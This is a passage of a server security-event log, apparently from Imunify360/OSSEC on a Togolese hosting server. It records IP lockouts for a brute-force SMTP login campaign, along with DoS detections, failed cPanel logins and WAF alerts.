country_id: 130758
description:
2026-07-02 01:04:15 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:32544: 535 Incorrect authentication data (set_id=lp2@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  2 01:04:41 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-02 01:04:39 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:29542: 535 Incorrect authentication data (set_id=miha@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  2 01:04:27 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-02 01:04:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:50828: 535 Incorrect authentication data (set_id=tehnolog@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  2 01:04:37 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-02 01:05:03 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:9018: 535 Incorrect authentication data (set_id=idrus@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  2 01:05:16 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  2 01:05:17 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  2 01:05:23 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  2 01:05:33 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-02 01:05:18 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:27158: 535 Incorrect authentication data (set_id=stg@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-02 01:05:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:5616: 535 Incorrect authentication data (set_id=p5@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-02 01:05:35 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:30836: 535 Incorrect authentication data (set_id=vmadmin@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  2 01:06:05 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  2 01:06:22 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  2 01:06:09 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-02 01:06:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:6796: 535 Incorrect authentication data (set_id=tomcat4@ns5.netmaster.tg)


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 204.62.248.250
country_id: 6251999
description:
Denial of Service (DoS) attack was discovered from 204.62.248.250: 80 connections per 30 seconds to 443 port.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  2 01:06:04 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-02 01:06:07 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:3312: 535 Incorrect authentication data (set_id=tudor@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-02 01:06:11 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:46282: 535 Incorrect authentication data (set_id=event@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-02 01:06:06 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:46134: 535 Incorrect authentication data (set_id=gaming@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-02 01:07:10 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:40012: 535 Incorrect authentication data (set_id=activated@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-02 01:07:12 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:47274: 535 Incorrect authentication data (set_id=istanbul@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  2 01:07:02 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-02 01:07:04 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:10790: 535 Incorrect authentication data (set_id=piano@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  2 01:07:08 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  2 01:07:00 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-02 01:07:02 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:31486: 535 Incorrect authentication data (set_id=matrix@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-02 01:07:38 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:63350: 535 Incorrect authentication data (set_id=consulta@ns5.netmaster.tg)


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 3.209.83.72
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 3.209.83.72: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  2 01:07:10 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-02 01:08:02 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:63684: 535 Incorrect authentication data (set_id=superset@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-02 01:08:10 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:43322: 535 Incorrect authentication data (set_id=consulta@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-02 01:08:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:39184: 535 Incorrect authentication data (set_id=6666@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  2 01:08:07 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  2 01:08:08 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  2 01:08:25 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  2 01:08:31 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-02 01:08:01 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:23404: 535 Incorrect authentication data (set_id=present@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-02 01:09:38 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:40018: 535 Incorrect authentication data (set_id=veeambackup@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  2 01:09:36 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  2 01:09:08 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  2 01:09:21 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  2 01:09:13 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-02 01:09:15 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:15514: 535 Incorrect authentication data (set_id=seas@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-02 01:09:10 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:15944: 535 Incorrect authentication data (set_id=itil@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-02 01:09:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:37376: 535 Incorrect authentication data (set_id=bethanie@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  2 01:10:09 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-02 01:10:11 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:44998: 535 Incorrect authentication data (set_id=anoop@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-02 01:10:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:16068: 535 Incorrect authentication data (set_id=liqin@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  2 01:10:25 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-02 01:10:54 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:4538: 535 Incorrect authentication data (set_id=memcached@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  2 01:10:06 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-02 01:10:08 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:28224: 535 Incorrect authentication data (set_id=yuri@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  2 01:10:09 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-02 01:10:11 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:13726: 535 Incorrect authentication data (set_id=flash@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-02 01:11:14 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:56474: 535 Incorrect authentication data (set_id=loris@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-02 01:11:19 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:13530: 535 Incorrect authentication data (set_id=flora00@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  2 01:11:30 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-02 01:11:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:8952: 535 Incorrect authentication data (set_id=bloc@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  2 01:11:12 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  2 01:11:13 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-02 01:11:15 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:50600: 535 Incorrect authentication data (set_id=ursula@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  2 01:11:17 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-02 01:12:03 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:26642: 535 Incorrect authentication data (set_id=scout@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-02 01:12:07 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:32586: 535 Incorrect authentication data (set_id=mailrelay@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  2 01:12:18 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  2 01:12:05 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  2 01:12:05 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-02 01:12:07 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:54494: 535 Incorrect authentication data (set_id=vet@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-02 01:12:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:21714: 535 Incorrect authentication data (set_id=armando@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  2 01:12:01 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 82.156.165.238
country_id: 1814991
description:
82.156.165.238 - - [02/Jul/2026:01:12:54 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10118803&pdata=https%253A%252F%252Fvitrinenews.tg%252F2021%252F08%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782954773 HTTP/2.0" 302 0 vitrinenews.tg "https://vitrinenews.tg/2021/08/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:82.156.165.238


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-02 01:13:07 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:26262: 535 Incorrect authentication data (set_id=weekly@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-02 01:13:10 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:27230: 535 Incorrect authentication data (set_id=tainan@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  2 01:13:35 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-02 01:13:37 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:48790: 535 Incorrect authentication data (set_id=hipe@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  2 01:13:05 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  2 01:13:08 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  2 01:13:21 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-02 01:13:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:47768: 535 Incorrect authentication data (set_id=somjit@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  2 01:14:09 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-02 01:14:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:24804: 535 Incorrect authentication data (set_id=charlie1@ns5.netmaster.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.138.250.204
country_id: 1210997
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/togo-plus-de-50-tonnes-de-drogues-saisies-et-detruites-en-2025/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.209.196.247
country_id: 2921044
description:
[2026-07-02 01:14:36 +0000] info [cpaneld] 185.209.196.247 - crepsad "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-02 01:14:39 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:43396: 535 Incorrect authentication data (set_id=bogou@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  2 01:14:37 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.138.250.204
country_id: 1210997
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/togo-plus-de-50-tonnes-de-drogues-saisies-et-detruites-en-2025/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-02 01:14:11 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:56270: 535 Incorrect authentication data (set_id=ask@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-02 01:14:11 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:24066: 535 Incorrect authentication data (set_id=kageyama@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-02 01:14:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:20124: 535 Incorrect authentication data (set_id=kageyama@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  2 01:14:09 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  2 01:14:22 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  2 01:15:14 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.94.46
country_id: 2635167
description:
[2026-07-02 01:15:19 +0000] info [cpaneld] 217.181.94.46 - pkyvzjjc "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  2 01:15:07 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  2 01:15:23 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-02 01:15:09 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:65344: 535 Incorrect authentication data (set_id=nice@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-02 01:15:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:24662: 535 Incorrect authentication data (set_id=balashiha@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  2 01:15:15 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-02 01:15:16 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:60924: 535 Incorrect authentication data (set_id=mx6@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-02 01:15:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:19706: 535 Incorrect authentication data (set_id=frank@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  2 01:16:03 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-02 01:16:03 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:37120: 535 Incorrect authentication data (set_id=bootstrap@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  2 01:16:04 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  2 01:16:10 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-02 01:16:12 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:32524: 535 Incorrect authentication data (set_id=mm2@ns5.netmaster.tg)


plugin: ossec
rule: 6013
